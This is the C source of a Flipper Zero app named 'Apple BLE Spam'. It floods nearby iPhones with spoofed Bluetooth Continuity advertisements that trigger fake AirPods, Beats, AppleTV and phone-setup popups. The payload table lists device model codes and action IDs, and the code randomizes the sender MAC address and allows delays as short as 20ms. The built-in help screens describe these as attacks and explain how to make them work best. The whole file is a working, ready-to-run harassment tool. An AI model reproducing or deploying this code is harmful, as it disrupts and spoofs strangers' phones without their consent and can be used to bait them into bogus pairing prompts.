apple_ble_spam.c 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817
  1. #include <gui/gui.h>
  2. #include <gui/elements.h>
  3. #include <furi_hal_bt.h>
  4. #include <furi_hal_random.h>
  5. #include "apple_ble_spam_icons.h"
  6. #include "lib/continuity/continuity.h"
  7. typedef struct {
  8. const char* title;
  9. const char* text;
  10. bool random;
  11. ContinuityMsg msg;
  12. } Payload;
  13. // Hacked together by @Willy-JL
  14. // Custom adv logic by @Willy-JL (idea by @xMasterX)
  15. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  16. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  17. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  18. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  19. static Payload payloads[] = {
  20. #if false
  21. {.title = "AirDrop",
  22. .text = "",
  23. .random = false,
  24. .msg =
  25. {
  26. .type = ContinuityTypeAirDrop,
  27. .data = {.airdrop = {}},
  28. }},
  29. {.title = "Airplay Target",
  30. .text = "",
  31. .random = false,
  32. .msg =
  33. {
  34. .type = ContinuityTypeAirplayTarget,
  35. .data = {.airplay_target = {}},
  36. }},
  37. {.title = "Handoff",
  38. .text = "",
  39. .random = false,
  40. .msg =
  41. {
  42. .type = ContinuityTypeHandoff,
  43. .data = {.handoff = {}},
  44. }},
  45. {.title = "Tethering Source",
  46. .text = "",
  47. .random = false,
  48. .msg =
  49. {
  50. .type = ContinuityTypeTetheringSource,
  51. .data = {.tethering_source = {}},
  52. }},
  53. {.title = "Mobile Backup",
  54. .text = "",
  55. .random = false,
  56. .msg =
  57. {
  58. .type = ContinuityTypeNearbyAction,
  59. .data = {.nearby_action = {.flags = 0xC0, .type = 0x04}},
  60. }},
  61. {.title = "Watch Setup",
  62. .text = "",
  63. .random = false,
  64. .msg =
  65. {
  66. .type = ContinuityTypeNearbyAction,
  67. .data = {.nearby_action = {.flags = 0xC0, .type = 0x05}},
  68. }},
  69. {.title = "Internet Relay",
  70. .text = "",
  71. .random = false,
  72. .msg =
  73. {
  74. .type = ContinuityTypeNearbyAction,
  75. .data = {.nearby_action = {.flags = 0xC0, .type = 0x07}},
  76. }},
  77. {.title = "WiFi Password",
  78. .text = "",
  79. .random = false,
  80. .msg =
  81. {
  82. .type = ContinuityTypeNearbyAction,
  83. .data = {.nearby_action = {.flags = 0xC0, .type = 0x08}},
  84. }},
  85. {.title = "Repair",
  86. .text = "",
  87. .random = false,
  88. .msg =
  89. {
  90. .type = ContinuityTypeNearbyAction,
  91. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}},
  92. }},
  93. {.title = "Apple Pay",
  94. .text = "",
  95. .random = false,
  96. .msg =
  97. {
  98. .type = ContinuityTypeNearbyAction,
  99. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}},
  100. }},
  101. {.title = "Developer Tools Pairing Request",
  102. .text = "",
  103. .random = false,
  104. .msg =
  105. {
  106. .type = ContinuityTypeNearbyAction,
  107. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}},
  108. }},
  109. {.title = "Answered Call",
  110. .text = "",
  111. .random = false,
  112. .msg =
  113. {
  114. .type = ContinuityTypeNearbyAction,
  115. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}},
  116. }},
  117. {.title = "Ended Call",
  118. .text = "",
  119. .random = false,
  120. .msg =
  121. {
  122. .type = ContinuityTypeNearbyAction,
  123. .data = {.nearby_action = {.flags = 0xC0, .type = 0x10}},
  124. }},
  125. {.title = "DD Ping",
  126. .text = "",
  127. .random = false,
  128. .msg =
  129. {
  130. .type = ContinuityTypeNearbyAction,
  131. .data = {.nearby_action = {.flags = 0xC0, .type = 0x11}},
  132. }},
  133. {.title = "DD Pong",
  134. .text = "",
  135. .random = false,
  136. .msg =
  137. {
  138. .type = ContinuityTypeNearbyAction,
  139. .data = {.nearby_action = {.flags = 0xC0, .type = 0x12}},
  140. }},
  141. {.title = "Companion Link Proximity",
  142. .text = "",
  143. .random = false,
  144. .msg =
  145. {
  146. .type = ContinuityTypeNearbyAction,
  147. .data = {.nearby_action = {.flags = 0xC0, .type = 0x14}},
  148. }},
  149. {.title = "Remote Management",
  150. .text = "",
  151. .random = false,
  152. .msg =
  153. {
  154. .type = ContinuityTypeNearbyAction,
  155. .data = {.nearby_action = {.flags = 0xC0, .type = 0x15}},
  156. }},
  157. {.title = "Remote Auto Fill Pong",
  158. .text = "",
  159. .random = false,
  160. .msg =
  161. {
  162. .type = ContinuityTypeNearbyAction,
  163. .data = {.nearby_action = {.flags = 0xC0, .type = 0x16}},
  164. }},
  165. {.title = "Remote Display",
  166. .text = "",
  167. .random = false,
  168. .msg =
  169. {
  170. .type = ContinuityTypeNearbyAction,
  171. .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
  172. }},
  173. #endif
  174. {.title = "Random Action",
  175. .text = "Spam shuffle Nearby Actions",
  176. .random = true,
  177. .msg =
  178. {
  179. .type = ContinuityTypeNearbyAction,
  180. .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
  181. }},
  182. {.title = "Random Pair",
  183. .text = "Spam shuffle Proximity Pairs",
  184. .random = true,
  185. .msg =
  186. {
  187. .type = ContinuityTypeProximityPair,
  188. .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
  189. }},
  190. {.title = "AppleTV AutoFill",
  191. .text = "Banner, unlocked, long range",
  192. .random = false,
  193. .msg =
  194. {
  195. .type = ContinuityTypeNearbyAction,
  196. .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
  197. }},
  198. {.title = "AppleTV Connecting...",
  199. .text = "Modal, unlocked, long range",
  200. .random = false,
  201. .msg =
  202. {
  203. .type = ContinuityTypeNearbyAction,
  204. .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
  205. }},
  206. {.title = "Join This AppleTV?",
  207. .text = "Modal, unlocked, spammy",
  208. .random = false,
  209. .msg =
  210. {
  211. .type = ContinuityTypeNearbyAction,
  212. .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
  213. }},
  214. {.title = "AppleTV Audio Sync",
  215. .text = "Banner, locked, long range",
  216. .random = false,
  217. .msg =
  218. {
  219. .type = ContinuityTypeNearbyAction,
  220. .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
  221. }},
  222. {.title = "AppleTV Color Balance",
  223. .text = "Banner, locked",
  224. .random = false,
  225. .msg =
  226. {
  227. .type = ContinuityTypeNearbyAction,
  228. .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
  229. }},
  230. {.title = "Setup New iPhone",
  231. .text = "Modal, locked",
  232. .random = false,
  233. .msg =
  234. {
  235. .type = ContinuityTypeNearbyAction,
  236. .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
  237. }},
  238. {.title = "Setup New Random",
  239. .text = "Modal, locked, glitched",
  240. .random = false,
  241. .msg =
  242. {
  243. .type = ContinuityTypeNearbyAction,
  244. .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
  245. }},
  246. {.title = "Transfer Phone Number",
  247. .text = "Modal, locked",
  248. .random = false,
  249. .msg =
  250. {
  251. .type = ContinuityTypeNearbyAction,
  252. .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
  253. }},
  254. {.title = "HomePod Setup",
  255. .text = "Modal, unlocked",
  256. .random = false,
  257. .msg =
  258. {
  259. .type = ContinuityTypeNearbyAction,
  260. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
  261. }},
  262. {.title = "AirPods Pro",
  263. .text = "Modal, spammy (auto close)",
  264. .random = false,
  265. .msg =
  266. {
  267. .type = ContinuityTypeProximityPair,
  268. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
  269. }},
  270. {.title = "Beats Solo 3",
  271. .text = "Modal, spammy (stays open)",
  272. .random = false,
  273. .msg =
  274. {
  275. .type = ContinuityTypeProximityPair,
  276. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
  277. }},
  278. {.title = "AirPods Max",
  279. .text = "Modal, laggy (stays open)",
  280. .random = false,
  281. .msg =
  282. {
  283. .type = ContinuityTypeProximityPair,
  284. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
  285. }},
  286. {.title = "Beats Flex",
  287. .text = "Modal, laggy (stays open)",
  288. .random = false,
  289. .msg =
  290. {
  291. .type = ContinuityTypeProximityPair,
  292. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
  293. }},
  294. {.title = "Airtag",
  295. .text = "Modal, unlocked",
  296. .random = false,
  297. .msg =
  298. {
  299. .type = ContinuityTypeProximityPair,
  300. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
  301. }},
  302. {.title = "Hermes Airtag",
  303. .text = "",
  304. .random = false,
  305. .msg =
  306. {
  307. .type = ContinuityTypeProximityPair,
  308. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
  309. }},
  310. {.title = "Setup New AppleTV",
  311. .text = "Modal, unlocked",
  312. .random = false,
  313. .msg =
  314. {
  315. .type = ContinuityTypeNearbyAction,
  316. .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
  317. }},
  318. {.title = "Pair AppleTV",
  319. .text = "Modal, unlocked",
  320. .random = false,
  321. .msg =
  322. {
  323. .type = ContinuityTypeNearbyAction,
  324. .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
  325. }},
  326. {.title = "HomeKit AppleTV Setup",
  327. .text = "Modal, unlocked",
  328. .random = false,
  329. .msg =
  330. {
  331. .type = ContinuityTypeNearbyAction,
  332. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
  333. }},
  334. {.title = "AppleID for AppleTV?",
  335. .text = "Modal, unlocked",
  336. .random = false,
  337. .msg =
  338. {
  339. .type = ContinuityTypeNearbyAction,
  340. .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
  341. }},
  342. {.title = "AirPods",
  343. .text = "Modal, spammy (auto close)",
  344. .random = false,
  345. .msg =
  346. {
  347. .type = ContinuityTypeProximityPair,
  348. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
  349. }},
  350. {.title = "AirPods 2nd Gen",
  351. .text = "Modal, spammy (auto close)",
  352. .random = false,
  353. .msg =
  354. {
  355. .type = ContinuityTypeProximityPair,
  356. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
  357. }},
  358. {.title = "AirPods 3rd Gen",
  359. .text = "Modal, spammy (auto close)",
  360. .random = false,
  361. .msg =
  362. {
  363. .type = ContinuityTypeProximityPair,
  364. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
  365. }},
  366. {.title = "AirPods Pro 2nd Gen",
  367. .text = "Modal, spammy (auto close)",
  368. .random = false,
  369. .msg =
  370. {
  371. .type = ContinuityTypeProximityPair,
  372. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
  373. }},
  374. {.title = "Powerbeats 3",
  375. .text = "Modal, spammy (stays open)",
  376. .random = false,
  377. .msg =
  378. {
  379. .type = ContinuityTypeProximityPair,
  380. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
  381. }},
  382. {.title = "Powerbeats Pro",
  383. .text = "Modal, spammy (auto close)",
  384. .random = false,
  385. .msg =
  386. {
  387. .type = ContinuityTypeProximityPair,
  388. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
  389. }},
  390. {.title = "Beats Solo Pro",
  391. .text = "",
  392. .random = false,
  393. .msg =
  394. {
  395. .type = ContinuityTypeProximityPair,
  396. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
  397. }},
  398. {.title = "Beats Studio Buds",
  399. .text = "Modal, spammy (auto close)",
  400. .random = false,
  401. .msg =
  402. {
  403. .type = ContinuityTypeProximityPair,
  404. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
  405. }},
  406. {.title = "Beats X",
  407. .text = "Modal, spammy (stays open)",
  408. .random = false,
  409. .msg =
  410. {
  411. .type = ContinuityTypeProximityPair,
  412. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
  413. }},
  414. {.title = "Beats Studio 3",
  415. .text = "Modal, spammy (stays open)",
  416. .random = false,
  417. .msg =
  418. {
  419. .type = ContinuityTypeProximityPair,
  420. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
  421. }},
  422. {.title = "Beats Studio Pro",
  423. .text = "Modal, spammy (stays open)",
  424. .random = false,
  425. .msg =
  426. {
  427. .type = ContinuityTypeProximityPair,
  428. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
  429. }},
  430. {.title = "Beats Fit Pro",
  431. .text = "Modal, spammy (auto close)",
  432. .random = false,
  433. .msg =
  434. {
  435. .type = ContinuityTypeProximityPair,
  436. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
  437. }},
  438. {.title = "Beats Studio Buds+",
  439. .text = "Modal, spammy (auto close)",
  440. .random = false,
  441. .msg =
  442. {
  443. .type = ContinuityTypeProximityPair,
  444. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
  445. }},
  446. };
  447. #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
  448. struct {
  449. uint8_t count;
  450. ContinuityData** datas;
  451. } randoms[ContinuityTypeCount] = {0};
  452. uint16_t delays[] = {
  453. 20,
  454. 50,
  455. 100,
  456. 150,
  457. 200,
  458. 300,
  459. 400,
  460. 500,
  461. 750,
  462. 1000,
  463. 1500,
  464. 2000,
  465. 2500,
  466. 3000,
  467. 4000,
  468. 5000,
  469. };
  470. typedef struct {
  471. bool resume;
  472. bool advertising;
  473. uint8_t delay;
  474. uint8_t size;
  475. uint8_t* packet;
  476. Payload* payload;
  477. FuriThread* thread;
  478. uint8_t mac[GAP_MAC_ADDR_SIZE];
  479. int8_t index;
  480. } State;
  481. static int32_t adv_thread(void* ctx) {
  482. State* state = ctx;
  483. Payload* payload = state->payload;
  484. ContinuityMsg* msg = &payload->msg;
  485. ContinuityType type = msg->type;
  486. while(state->advertising) {
  487. if(payload->random) {
  488. uint8_t random_i = rand() % randoms[type].count;
  489. memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
  490. }
  491. continuity_generate_packet(msg, state->packet);
  492. furi_hal_bt_custom_adv_set(state->packet, state->size);
  493. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  494. }
  495. return 0;
  496. }
  497. static void stop_adv(State* state) {
  498. state->advertising = false;
  499. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  500. furi_thread_join(state->thread);
  501. furi_hal_bt_custom_adv_stop();
  502. }
  503. static void start_adv(State* state) {
  504. state->advertising = true;
  505. furi_thread_start(state->thread);
  506. uint16_t delay = delays[state->delay];
  507. furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
  508. }
  509. static void toggle_adv(State* state, Payload* payload) {
  510. if(state->advertising) {
  511. stop_adv(state);
  512. if(state->resume) furi_hal_bt_start_advertising();
  513. state->payload = NULL;
  514. free(state->packet);
  515. state->packet = NULL;
  516. state->size = 0;
  517. } else {
  518. state->size = continuity_get_packet_size(payload->msg.type);
  519. state->packet = malloc(state->size);
  520. state->payload = payload;
  521. furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
  522. state->resume = furi_hal_bt_is_active();
  523. furi_hal_bt_stop_advertising();
  524. start_adv(state);
  525. }
  526. }
  527. #define PAGE_MIN (-5)
  528. #define PAGE_MAX PAYLOAD_COUNT
  529. enum {
  530. PageApps = PAGE_MIN,
  531. PageDelay,
  532. PageDistance,
  533. PageProximityPair,
  534. PageNearbyAction,
  535. PageStart = 0,
  536. PageEnd = PAYLOAD_COUNT - 1,
  537. PageAbout = PAGE_MAX,
  538. };
  539. static void draw_callback(Canvas* canvas, void* ctx) {
  540. State* state = ctx;
  541. const char* back = "Back";
  542. const char* next = "Next";
  543. switch(state->index) {
  544. case PageStart - 1:
  545. next = "Spam";
  546. break;
  547. case PageStart:
  548. back = "Help";
  549. break;
  550. case PageEnd:
  551. next = "About";
  552. break;
  553. case PageEnd + 1:
  554. back = "Spam";
  555. break;
  556. }
  557. canvas_set_font(canvas, FontSecondary);
  558. canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
  559. canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
  560. switch(state->index) {
  561. case PageApps:
  562. canvas_set_font(canvas, FontBatteryPercent);
  563. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  564. elements_text_box(
  565. canvas,
  566. 4,
  567. 16,
  568. 120,
  569. 48,
  570. AlignLeft,
  571. AlignTop,
  572. "\e#Some Apps\e# interfere\n"
  573. "with the attacks, stay on\n"
  574. "homescreen for best results",
  575. false);
  576. break;
  577. case PageDelay:
  578. canvas_set_font(canvas, FontBatteryPercent);
  579. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  580. elements_text_box(
  581. canvas,
  582. 4,
  583. 16,
  584. 120,
  585. 48,
  586. AlignLeft,
  587. AlignTop,
  588. "\e#Delay\e# is time between\n"
  589. "attack attempts (top right),\n"
  590. "keep 20ms for best results",
  591. false);
  592. break;
  593. case PageDistance:
  594. canvas_set_font(canvas, FontBatteryPercent);
  595. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  596. elements_text_box(
  597. canvas,
  598. 4,
  599. 16,
  600. 120,
  601. 48,
  602. AlignLeft,
  603. AlignTop,
  604. "\e#Distance\e# is limited, attacks\n"
  605. "work under 1 meter but a\n"
  606. "few are marked 'long range'",
  607. false);
  608. break;
  609. case PageProximityPair:
  610. canvas_set_font(canvas, FontBatteryPercent);
  611. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  612. elements_text_box(
  613. canvas,
  614. 4,
  615. 16,
  616. 120,
  617. 48,
  618. AlignLeft,
  619. AlignTop,
  620. "\e#Proximity Pair\e# attacks\n"
  621. "keep spamming but work at\n"
  622. "very close range",
  623. false);
  624. break;
  625. case PageNearbyAction:
  626. canvas_set_font(canvas, FontBatteryPercent);
  627. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  628. elements_text_box(
  629. canvas,
  630. 4,
  631. 16,
  632. 120,
  633. 48,
  634. AlignLeft,
  635. AlignTop,
  636. "\e#Nearby Actions\e# work one\n"
  637. "time then need to lock and\n"
  638. "unlock the phone",
  639. false);
  640. break;
  641. case PageAbout:
  642. canvas_set_font(canvas, FontBatteryPercent);
  643. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
  644. elements_text_box(
  645. canvas,
  646. 4,
  647. 16,
  648. 122,
  649. 48,
  650. AlignLeft,
  651. AlignTop,
  652. "App+spam by \e#WillyJL\e# XFW\n"
  653. "Pair codes by \e#ECTO-1A\e#\n"
  654. "BLE docs by \e#furiousMAC\e#\n"
  655. " Version \e#1.1\e#",
  656. false);
  657. break;
  658. default: {
  659. if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
  660. const Payload* payload = &payloads[state->index];
  661. char str[32];
  662. canvas_set_font(canvas, FontBatteryPercent);
  663. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  664. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  665. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  666. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  667. canvas_set_font(canvas, FontBatteryPercent);
  668. snprintf(
  669. str,
  670. sizeof(str),
  671. "%02i/%02i: %s",
  672. state->index + 1,
  673. PAYLOAD_COUNT,
  674. continuity_get_type_name(payload->msg.type));
  675. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  676. canvas_set_font(canvas, FontPrimary);
  677. canvas_draw_str(canvas, 4, 32, payload->title);
  678. canvas_set_font(canvas, FontSecondary);
  679. canvas_draw_str(canvas, 4, 46, payload->text);
  680. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  681. break;
  682. }
  683. }
  684. if(state->index > PAGE_MIN) {
  685. elements_button_left(canvas, back);
  686. }
  687. if(state->index < PAGE_MAX) {
  688. elements_button_right(canvas, next);
  689. }
  690. }
  691. static void input_callback(InputEvent* input, void* ctx) {
  692. FuriMessageQueue* input_queue = ctx;
  693. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  694. input->type == InputTypeRepeat) {
  695. furi_message_queue_put(input_queue, input, 0);
  696. }
  697. }
  698. int32_t apple_ble_spam(void* p) {
  699. UNUSED(p);
  700. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  701. if(payloads[payload_i].random) continue;
  702. randoms[payloads[payload_i].msg.type].count++;
  703. }
  704. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  705. if(!randoms[type].count) continue;
  706. randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
  707. uint8_t random_i = 0;
  708. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  709. if(payloads[payload_i].random) continue;
  710. if(payloads[payload_i].msg.type == type) {
  711. randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
  712. }
  713. }
  714. }
  715. State* state = malloc(sizeof(State));
  716. state->thread = furi_thread_alloc();
  717. furi_thread_set_callback(state->thread, adv_thread);
  718. furi_thread_set_context(state->thread, state);
  719. furi_thread_set_stack_size(state->thread, 2048);
  720. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  721. ViewPort* view_port = view_port_alloc();
  722. Gui* gui = furi_record_open(RECORD_GUI);
  723. view_port_input_callback_set(view_port, input_callback, input_queue);
  724. view_port_draw_callback_set(view_port, draw_callback, state);
  725. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  726. bool running = true;
  727. while(running) {
  728. InputEvent input;
  729. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  730. Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
  731. &payloads[state->index] :
  732. NULL;
  733. bool advertising = state->advertising;
  734. switch(input.key) {
  735. case InputKeyOk:
  736. if(payload) toggle_adv(state, payload);
  737. break;
  738. case InputKeyUp:
  739. if(payload && state->delay < COUNT_OF(delays) - 1) {
  740. if(advertising) stop_adv(state);
  741. state->delay++;
  742. if(advertising) start_adv(state);
  743. }
  744. break;
  745. case InputKeyDown:
  746. if(payload && state->delay > 0) {
  747. if(advertising) stop_adv(state);
  748. state->delay--;
  749. if(advertising) start_adv(state);
  750. }
  751. break;
  752. case InputKeyLeft:
  753. if(state->index > PAGE_MIN) {
  754. if(advertising) toggle_adv(state, payload);
  755. state->index--;
  756. }
  757. break;
  758. case InputKeyRight:
  759. if(state->index < PAGE_MAX) {
  760. if(advertising) toggle_adv(state, payload);
  761. state->index++;
  762. }
  763. break;
  764. case InputKeyBack:
  765. if(advertising) toggle_adv(state, payload);
  766. running = false;
  767. break;
  768. default:
  769. continue;
  770. }
  771. view_port_update(view_port);
  772. }
  773. gui_remove_view_port(gui, view_port);
  774. furi_record_close(RECORD_GUI);
  775. view_port_free(view_port);
  776. furi_message_queue_free(input_queue);
  777. furi_thread_free(state->thread);
  778. free(state);
  779. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  780. free(randoms[type].datas);
  781. }
  782. return 0;
  783. }